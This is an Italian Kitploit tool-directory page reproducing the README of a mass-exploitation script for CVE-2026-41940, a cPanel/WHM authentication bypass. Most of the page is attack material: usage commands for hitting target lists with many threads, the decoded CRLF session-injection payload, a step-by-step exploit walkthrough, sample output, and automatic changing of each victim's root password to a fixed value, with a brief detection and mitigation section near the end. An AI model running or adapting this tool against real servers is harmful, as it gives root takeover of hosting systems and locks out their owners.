Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-41940 — Scanner bulk e strumento di sfruttamento di massa per CVE-2026-41940 su cPanel/WHM, progettato per la validazione automatizzata dei bersagli e l'esecuzione multi-thread ad alta velocità. | Kitploit
Strumenti/GitHubGitHub/jenderal92/cve-2026-41940
Scanner di VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniPenetration TestingCommand and ControlAutenticazioneRed TeamingSviluppo Payload
GitHubjenderal92/cve-2026-41940

CVE-2026-41940

Scanner bulk e strumento di sfruttamento di massa per CVE-2026-41940 su cPanel/WHM, progettato per la validazione automatizzata dei bersagli e l'esecuzione multi-thread ad alta velocità.

44113 mesi faNon ancora revisionato
Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-41940 - Exploit di massa di bypass dell'autenticazione WHM/cPanel

43153

📋 Descrizione

CVE-2026-41940 è una vulnerabilità critica di bypass dell'autenticazione in WHM/cPanel che consente agli aggressori di eludere l'autenticazione e ottenere accesso root a un server senza credenziali valide. La vulnerabilità sfrutta l'iniezione CRLF nel meccanismo di gestione delle sessioni per iniettare parametri di sessione dannosi.

Questo strumento fornisce capacità di exploit di massa con supporto multi-threading per testare più target contemporaneamente, con rilevamento intelligente del successo e filtraggio automatico dei target non validi.


🎯 Caratteristiche principali

CaratteristicaDescrizione
✅ Exploit di massaScansiona e sfrutta più target da un file di elenco
🚀 Multi-threadingNumero di thread configurabile per scansioni più veloci (default: 15)
🔐 Cambio password automaticoCambia la password di root in Jenderal92 dopo l'exploit riuscito
🛡️ Rilevamento intelligente del successoRileva automaticamente vari formati di risposta API WHM
⚠️ Filtraggio errori di licenzaEsclude target con errori di licenza non valida/non leggibile
📝 Output strutturatoSalva solo i successi confermati nel formato `dominio:porta
🛡️ Supporto SSL/TLSGestisce automaticamente i certificati autofirmati
🔄 Gestione delle sessioniEstrazione automatica della sessione, iniezione di cookie e gestione dei token
⏱️ Controllo timeoutTimeout di connessione configurabile (default: 15 secondi)
🔍 Verifica pre-connessioneControlla la disponibilità della porta prima del tentativo di exploit
📊 Avanzamento in tempo realeMostra progressi dettagliati per ogni fase dell'exploit

📦 Requisiti

  • Python 2.7 (richiesto - NON compatibile con Python 3.x)
  • Connessione Internet per l'accesso ai target
  • Pacchetti Python richiesti:
root@kitploit:~
pip install requests urllib3 futures

Oppure usa requirements.txt:

root@kitploit:~
requests==2.27.1
urllib3==1.26.18
futures==3.4.0

📥 Installazione

root@kitploit:~
# Clona il repository
git clone https://github.com/Jenderal92/CVE-2026-41940.git
cd CVE-2026-41940

# Installa le dipendenze
pip install -r requirements.txt

# Rendi eseguibile (Linux/Mac)
chmod +x CVE-2026-41940.py

🚀 Utilizzo

1. Prepara il file dei target

Crea un file targets.txt con un target per riga:

root@kitploit:~
https://target1.com:2087
target2.com
127.0.0.1:2087
http://target3.com:2087
target4.com

Nota: La porta 2087 è la porta WHM predefinita. Se non specificata, verrà usata automaticamente la porta 2087. Il prefisso HTTP/HTTPS verrà aggiunto automaticamente se mancante.

2. Esegui l'exploit

Utilizzo base (impostazioni predefinite)

root@kitploit:~
python2 CVE-2026-41940.py targets.txt

Utilizzo multi-thread

root@kitploit:~
# Usa 5 thread concorrenti
python2 CVE-2026-41940.py targets.txt --threads 5

# Usa 20 thread per scansioni più veloci
python2 CVE-2026-41940.py targets.txt --threads 20

Hostname personalizzato

root@kitploit:~
# Sovrascrivi l'header Host per tutti i target
python2 CVE-2026-41940.py targets.txt --hostname custom.host.com --threads 10

Timeout personalizzato

root@kitploit:~
# Imposta il timeout a 30 secondi per connessioni lente
python2 CVE-2026-41940.py targets.txt --threads 10 --timeout 30

📊 Argomenti della riga di comando

ArgomentoDescrizionePredefinitoObbligatorio
list_fileFile contenente l'elenco dei target (uno per riga)-✅ Sì
--threadsNumero di thread concorrenti15❌ No
--hostnameSovrascrivi l'header Host per tutti i targetAuto-rilevamento❌ No
--timeoutTimeout di connessione in secondi15❌ No

📁 Formato di output

File dei risultati (res.txt)

Vengono salvati solo gli exploit riusciti confermati. I target con errori di licenza, cambi di password falliti o problemi di connessione vengono automaticamente esclusi.

Formato:

root@kitploit:~
dominio:porta|root|Jenderal92

Esempio di output:

root@kitploit:~
www.example.com:2087|root|Jenderal92
127.0.0.1:2087|root|Jenderal92
target.example.net:2087|root|Jenderal92

Scenari esclusi

I seguenti target NON verranno salvati in res.txt:

  • Errori di licenza (Cannot Read License File)
  • Cambi di password falliti
  • Timeout o rifiuti di connessione
  • Target senza WHM o già patchati
  • Credenziali errate o fallimenti di sessione

Output sulla console

root@kitploit:~
$ python2 CVE-2026-41940.py targets.txt --threads 10

 CVE-2026-41940 bypass authentication - Mass Exploit

[*] Caricati 4 target
[*] Avvio exploit con 10 thread...
[*] Timeout: 15 secondi
[*] Nota: http:// verrà aggiunto automaticamente se mancante
[*] SOLO i target con cambio password confermato verranno salvati in res.txt
[*] I target con errori di licenza, problemi di connessione o cambi di password falliti verranno ESCLUSI

==================================================

[*] Controllo target: 127.0.0.1
    Input originale: 127.0.0.1
    Normalizzato: https://127.0.0.1:2087
    Porta 2087: APERTA
    Test connessione... OK (HTTP 200)

[0] hostname = example.com
[1] creazione sessione preauth...
    sessione base = :d5nPe99Nx9HQdMu2
[2] invio dell'iniezione CRLF...
    HTTP 307, token trapelato = /cpsess0488087910
[3] attivazione di do_token_denied per propagare...
    HTTP 401, gadget attivato
[4] verifica di essere root su WHM...
    /json-api/version -> HTTP 200  {"version":"11.118.0.13"}
[*] tentativo di cambiare la password di root
    passwd -> HTTP 200
    {
      "data": {
        "app": ["system"]
      },
      "metadata": {
        "output": {
          "raw": "Password for \"root\" has been changed."
        },
        "reason": "Password changed for user \"root\".",
        "version": 1,
        "command": "passwd",
        "result": 1
      }
    }
[+] Cambio password confermato (metadata.result=1)
[+] ✓ Password di root cambiata con successo in 'Jenderal92'!

[✓] SUCCESSO & SALVATO: 127.0.0.1:2087
    Salvato in res.txt: 127.0.0.1:2087|root|Jenderal92

==================================================
[*] Scansione completata!
[*] Target con password cambiate con successo: 1 su 4

[+] Risultati salvati in res.txt

Target sfruttati con successo (password cambiata in Jenderal92):
  ✓ 127.0.0.1:2087

🔬 Come funziona l'exploit

L'exploit è composto da 4 fasi principali con verifica intelligente:

Fase 1: Sessione di pre-autenticazione

root@kitploit:~
[1] creazione sessione preauth...
  • Invia una richiesta POST a /login/?login_only=1 con credenziali non valide
  • Recupera il cookie whostmgrsession dalla risposta del server
  • Estrae la base della sessione rimuovendo la parte finale ,<obhex>
  • Questo ci fornisce un formato di sessione valido su cui lavorare

Fase 2: Attacco di iniezione CRLF

root@kitploit:~
[2] invio dell'iniezione CRLF...
  • Invia una richiesta GET con header Authorization: Basic contenente il payload dannoso
  • Il payload Base64 decodificato è:
    root@kitploit:~
    root:x
    successful_internal_auth_with_timestamp=9999999999
    user=root
    tfa_verified=1
    hasroot=1
    
  • I caratteri CRLF (\r\n) iniettano parametri di sessione falsi
  • Questo induce il server a pensare che l'autenticazione sia riuscita
  • Il server risponde con HTTP 307 e un header Location contenente il cp_security_token

Fase 3: Propagazione della sessione

root@kitploit:~
[3] attivazione di do_token_denied per propagare...
  • Accede all'endpoint /scripts2/listaccts con il cookie manipolato
  • Attiva il meccanismo do_token_denied in WHM
  • Questo propaga i parametri di sessione iniettati nella cache delle sessioni del server
  • La risposta HTTP 401 con "Token denied" conferma la propagazione riuscita

Fase 4: Verifica e cambio password

root@kitploit:~
[4] verifica di essere root su WHM...
  • Accede a /json-api/version per verificare l'accesso di livello root
  • Chiama l'API /json-api/passwd per cambiare la password di root in Jenderal92
  • Rileva intelligentemente il successo in vari formati di risposta API WHM:
    • {"metadata": {"result": 1}} (cPanel v11.118+)
    • {"status": 1} (versioni precedenti)
    • {"result": [{"status": 1}]} (formato legacy)
    • Messaggi di successo basati su testo

Filtraggio automatico

Lo strumento esclude automaticamente:

  • Errori di licenza: {"status": 0, "statusmsg": "Cannot Read License File"}
  • Cambi di password falliti: quando l'API restituisce codice di successo ma la password non è stata cambiata
  • Problemi di connessione: timeout, connessioni rifiutate, host irraggiungibili

🛡️ Rilevamento e mitigazione

Indicatori di compromissione (IOC)

IndicatoreDescrizione
Cookie whostmgrsession anomaloPattern di cookie insoliti senza autenticazione corretta
Caratteri CRLF negli headerRilevamento di sequenze \r\n negli header HTTP
Accesso a /scripts2/listacctsAccesso non autorizzato a questo percorso
Password Jenderal92Accesso riuscito con questa password specifica
Perdita di token cpsessToken di sicurezza visibile nell'header Location
Login fallito seguito da successoPOST a /login/?login_only=1 con password errata, poi accesso privilegiato

Log da monitorare

root@kitploit:~
# Log di accesso WHM
/usr/local/cpanel/logs/access_log

# Log errori cPanel  
/usr/local/cpanel/logs/error_log

# Log autenticazione
/var/log/secure

# Messaggi di sistema
/var/log/messages

Passaggi per la mitigazione

  1. Aggiorna WHM/cPanel all'ultima versione patchata immediatamente

    root@kitploit:~
    /usr/local/cpanel/scripts/upcp
    
  2. Abilita l'autenticazione a due fattori (2FA) per tutti gli account, in particolare root

    root@kitploit:~
    WHM → Centro sicurezza → Autenticazione a due fattori
    
  3. Limita l'accesso a WHM con whitelist IP

    root@kitploit:~
    WHM → Centro sicurezza → Controllo accesso host
    
  4. Monitora regolarmente i log di accesso per pattern sospetti

    root@kitploit:~
    tail -f /usr/local/cpanel/logs/access_log | grep -E "(listaccts|passwd|login_only)"
    
  5. Cambia tutte le password se si sospetta una compromissione

  6. Usa regole firewall per limitare l'accesso alla porta 2087

    root@kitploit:~
    # Consenti solo IP fidati
    iptables -A INPUT -p tcp --dport 2087 -s TUO_IP_FIDATO -j ACCEPT
    iptables -A INPUT -p tcp --dport 2087 -j DROP
    
    # Oppure usa il firewall CSF/LFD
    csf -a TUO_IP_FIDATO
    
  7. Implementa regole WAF per rilevare tentativi di iniezione CRLF

  8. Verifiche di sicurezza periodiche delle installazioni WHM/cPanel


📝 Esempi di utilizzo in diversi scenari

Scenario 1: Test su singolo target

root@kitploit:~
echo "https://myserver.com:2087" > my_server.txt
python2 CVE-2026-41940.py my_server.txt --threads 1

Scenario 2: Audit su server in blocco

root@kitploit:~
python2 CVE-2026-41940.py all_servers.txt --threads 20 --timeout 20

Scenario 3: Rete lenta/distanza lunga

root@kitploit:~
python2 CVE-2026-41940.py servers.txt --threads 5 --timeout 45

Scenario 4: Hostname personalizzato dietro proxy/load balancer

root@kitploit:~
python2 CVE-2026-41940.py servers.txt --hostname internal.cpanel.server --threads 10

Scenario 5: Target con porte miste

root@kitploit:~
# targets.txt può contenere vari formati:
https://server1.com:2087
http://server2.com:2087
server3.com:2087
127.0.0.1:2087
10.0.0.50

# Tutti verranno normalizzati automaticamente
python2 CVE-2026-41940.py targets.txt --threads 15

⚙️ Risoluzione dei problemi

Errore: "module 'urllib' has no attribute 'urlsplit'"

Problema: Si sta usando Python 3 invece di Python 2.7
Soluzione: Questo strumento richiede specificamente Python 2.7.

root@kitploit:~
# Controlla la versione di Python
python2 --version  # Deve mostrare Python 2.7.x

# Esegui esplicitamente con python2
python2 CVE-2026-41940.py targets.txt

Errore: "Connection refused - target unreachable"

Problema: Il target è offline o il firewall lo blocca
Soluzione:

root@kitploit:~
# Test manuale
telnet target.com 2087
nmap -p 2087 target.com
curl -k https://target.com:2087

Errore: "/login didn't issue a whostmgrsession cookie"

Problema: Il target potrebbe essere patchato o non eseguire WHM
Soluzione:

  • Verifica che il target stia eseguendo WHM/cPanel
  • Controlla se il target è accessibile tramite browser a https://target:2087
  • Il target potrebbe già avere applicata la patch per CVE-2026-41940

Prestazioni di scansione lente

Soluzione: Regola il numero di thread e il timeout

root@kitploit:~
# Per molti target con buona connettività
python2 CVE-2026-41940.py targets.txt --threads 30 --timeout 10

# Per connessioni inaffidabili
python2 CVE-2026-41940.py targets.txt --threads 5 --timeout 45

Errori di licenza nell'output

Nota: I target che mostrano Cannot Read License File vengono automaticamente esclusi da res.txt. Questo comportamento è previsto poiché i cambi di password non funzionano su installazioni WHM senza licenza.


🔧 Configurazione avanzata

Modifica del payload personalizzato

Puoi modificare PAYLOAD_B64 per parametri di sessione personalizzati:

root@kitploit:~
import base64

# Payload personalizzato
payload = """root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1"""

encoded = base64.b64encode(payload.encode())
print(encoded)

Password personalizzata

Cambia la password nella funzione do_passwd() (riga ~280):

root@kitploit:~
{"user": "root", "password": "TuaPasswordPersonalizzata123"}

Regolazione del rilevamento del successo

La funzione do_passwd() può essere modificata per rilevare formati di risposta WHM personalizzati:

root@kitploit:~
# Aggiungi un pattern personalizzato in do_passwd()
if 'tua_stringa_di_successo_personalizzata' in (r.text or '').lower():
    return "success"

🤝 Contributi

I contributi sono benvenuti! Segui questi passaggi:

  1. Fai un fork del repository
  2. Crea un ramo per la funzionalità (git checkout -b feature/AmazingFeature)
  3. Effettua i commit delle modifiche (git commit -m 'Aggiungi AmazingFeature')
  4. Invia al ramo (git push origin feature/AmazingFeature)
  5. Apri una Pull Request

Linee guida per lo sviluppo

  • Mantieni la compatibilità con Python 2.7
  • Testa con diverse versioni di WHM/cPanel
  • Aggiungi una corretta gestione degli errori
  • Aggiorna la documentazione per le nuove funzionalità

⭐ Cronologia stelle

Se questo strumento ti è utile per la tua ricerca sulla sicurezza, per favore dagli una ⭐ su GitHub!

Grafico cronologia stelle


❗ FAQ

D: Questo strumento può essere rilevato?
R: Sì, questo strumento lascia tracce nei log di accesso WHM/cPanel. Usalo solo con la dovuta autorizzazione e per test di sicurezza legittimi.

D: Quanto tempo richiede l'exploit?
R: Circa 5-15 secondi per target, a seconda della latenza di rete e del tempo di risposta del server.

D: Richiede accesso root pregresso?
R: No, questo exploit funziona completamente dall'esterno senza alcuna autenticazione.

D: Questo strumento funziona su Windows?
R: Sì, purché Python 2.7 sia installato e configurato correttamente.

D: Il mio target usa una porta diversa, cosa devo fare?
R: Specifica la porta nell'URL del target: https://target.com:2083 per cPanel o qualsiasi porta personalizzata.

D: Perché alcuni target non vengono salvati in res.txt anche se l'exploit ha funzionato?
R: Lo strumento salva solo i target in cui la password è stata cambiata con successo. I target con errori di licenza, cambi di password falliti o altri problemi vengono esclusi anche se il bypass dell'autenticazione è riuscito.

D: Quali versioni di WHM/cPanel sono vulnerabili?
R: Le versioni precedenti alla patch per CVE-2026-41940. Controlla il changelog di cPanel per la versione patchata.


📌 Note importanti

  • ✅ Questo strumento cambia la password di root in Jenderal92 su exploit riuscito
  • 📡 La porta WHM predefinita è 2087 (usata automaticamente se non specificata)
  • 🔒 La verifica del certificato SSL è disabilitata per supportare certificati autofirmati
  • 💾 Solo i successi confermati (password cambiata) vengono salvati in res.txt
  • ⚠️ Gli errori di licenza e i cambi di password falliti vengono filtrati automaticamente
  • 🔄 Ogni esecuzione crea un nuovo file res.txt (i vecchi risultati vengono cancellati)
  • 🌐 Il prefisso HTTP/HTTPS viene aggiunto automaticamente se mancante dai target
  • 🧵 Il numero predefinito di thread è 15, regolabile in base alle capacità del sistema

Creato a scopo educativo per la ricerca sulla sicurezza
Usa responsabilmente, sii legale, sii etico


⚠️ DICHIARAZIONE DI NON RESPONSABILITÀ

⚠️ AVVERTENZA CRITICA!

Questo strumento è stato creato esclusivamente per:

  • ✅ Scopi educativi e ricerca sulla sicurezza
  • ✅ Test di penetrazione autorizzati
  • ✅ Valutazioni di sicurezza su sistemi di tua proprietà
  • ✅ Verifica di vulnerabilità con autorizzazione scritta

Usi STRETTAMENTE VIETATI:

  • ❌ Accesso a sistemi senza esplicita autorizzazione
  • ❌ Qualsiasi forma di attività illegale
  • ❌ Azioni malevoli o danni ai sistemi
  • ❌ Accesso non autorizzato a qualsiasi sistema informatico
  • ❌ Violazione di leggi locali, statali o federali

L'autore/i NON si assume alcuna responsabilità per qualsiasi uso improprio, danno o conseguenza derivante dall'utilizzo di questo strumento. Utilizzando questo strumento, accetti di usarlo solo su sistemi di tua proprietà o per i quali hai esplicita autorizzazione scritta per il test.

Se procedi, riconosci che:

  1. Hai l'autorizzazione per testare i sistemi target
  2. Comprendi le implicazioni legali dell'accesso non autorizzato
  3. Rispetterai tutte le leggi e i regolamenti applicabili
  4. L'autore/i non sono responsabili per le tue azioni

Per ulteriori dichiarazioni di non responsabilità, consulta la copertina di Jenderal92. Puoi verificarla QUI !!!

Scarica lo strumento